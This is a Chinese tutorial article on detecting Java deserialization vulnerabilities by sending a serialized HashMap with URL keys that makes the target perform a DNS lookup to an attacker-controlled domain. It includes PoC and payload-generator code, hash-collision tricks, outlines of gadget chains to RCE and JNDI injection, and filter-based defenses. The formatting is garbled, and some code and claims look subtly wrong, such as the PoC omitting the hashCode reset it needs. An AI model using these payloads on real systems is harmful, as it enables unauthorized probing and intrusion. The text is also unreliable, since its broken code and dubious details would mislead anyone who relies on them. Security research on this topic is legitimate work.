您好,登录后才能下订单哦!
# 怎么通过HashMap触发DNS检测Java反序列化漏洞
## 前言
Java反序列化漏洞自2015年FoxGlove Security团队公开以来,已成为Java安全领域的经典议题。其中利用`HashMap`触发DNS请求的技术因其隐蔽性和检测便利性,成为漏洞验证的常用手段。本文将深入剖析该技术的实现原理、利用条件及防御方案。
---
## 一、Java反序列化漏洞基础
### 1.1 反序列化漏洞成因
当Java应用反序列化不可信数据时,会执行对象的`readObject()`方法。若攻击者精心构造恶意序列化数据,可能触发非预期的对象行为链(Gadget Chain),最终导致RCE、SSRF或DNS查询等副作用。
```java
// 典型漏洞代码示例
try (ObjectInputStream ois = new ObjectInputStream(untrustedInput)) {
Object obj = ois.readObject(); // 危险的反序列化操作
}
HashMap
实现了Serializable
接口,其readObject()
方法包含对键值对的特殊处理逻辑:
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
// ...省略其他代码...
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); // 关键点
}
}
当HashMap的key是URL
或InetAddress
等网络相关类时:
1. 反序列化过程中会调用key.hashCode()
2. 某些类的hashCode()
会触发网络请求
3. 通过DNS日志即可确认漏洞存在
HashMap->hash(key)
URL->hashCode()
URLStreamHandler->hashCode()
getHostAddress() // 触发DNS查询
构造PoC代码:
HashMap<URL, String> map = new HashMap<>();
URL url = new URL("http://attacker-dns.com");
map.put(url, "test");
// 序列化map对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(map);
byte[] payload = baos.toByteArray();
// 发送payload到目标服务
类名 | 触发方式 | 依赖库 |
---|---|---|
java.net.Inet4Address | getHostName() | JRE内置 |
javax.management.remote.rmi.RMIConnector | connect() | JMX |
org.apache.xbean.naming.context.ContextUtil | lookup() | XBean |
sequenceDiagram
Attacker->>Target: 发送恶意HashMap序列化数据
Target->>DNS Server: 解析恶意域名
DNS Server-->>Attacker: 记录查询日志
public class HashMapDNSDetector {
public static byte[] generatePayload(String dnsUrl) throws Exception {
HashMap<URL, String> map = new HashMap<>();
URL url = new URL(dnsUrl);
map.put(url, "vulnerable");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(map);
return baos.toByteArray();
}
}
当目标使用HashTable
等数据结构时,可通过精心构造哈希碰撞确保触发:
HashMap<URL, String> map = new HashMap<>();
URL url1 = new URL("http://dns1.example.com");
URL url2 = new URL("http://dns2.example.com");
// 设置相同hashCode
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url1, 123);
hashCodeField.set(url2, 123);
map.put(url1, "value1");
map.put(url2, "value2"); // 确保进入hashCode比较流程
HashMap->AnnotationInvocationHandler->
TemplatesImpl->getOutputProperties()
// 最终实现RCE
// 使用白名单校验
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"java.util.HashMap;!java.net.URL");
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filter);
方案 | 实施要点 |
---|---|
JEP 290过滤机制 | JDK9+默认启用 |
替换序列化方案 | 使用JSON/ProtoBuf等替代 |
运行时防护 | RASP检测危险类加载行为 |
攻击链:
HashMap->LimitFilter->toString()
MethodExpression->invoke()
// 实现JNDI注入
利用HashMap
触发ScriptSecurity
绕过,最终实现沙箱逃逸。
通过HashMap触发DNS检测的技术虽然不能直接获取系统权限,但其作为漏洞存在的”探针”具有重要价值。安全研究人员应深入理解底层机制,开发更精准的检测工具。企业用户则需建立从开发到运维的全生命周期防护体系。
参考资源: 1. Oracle安全公告JEP-290 2. Java反序列化漏洞白皮书 3. ysoserial工具集 “`
注:本文为技术研究文档,仅限合法安全测试使用。实际执行需获得系统所有者授权,禁止用于非法用途。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。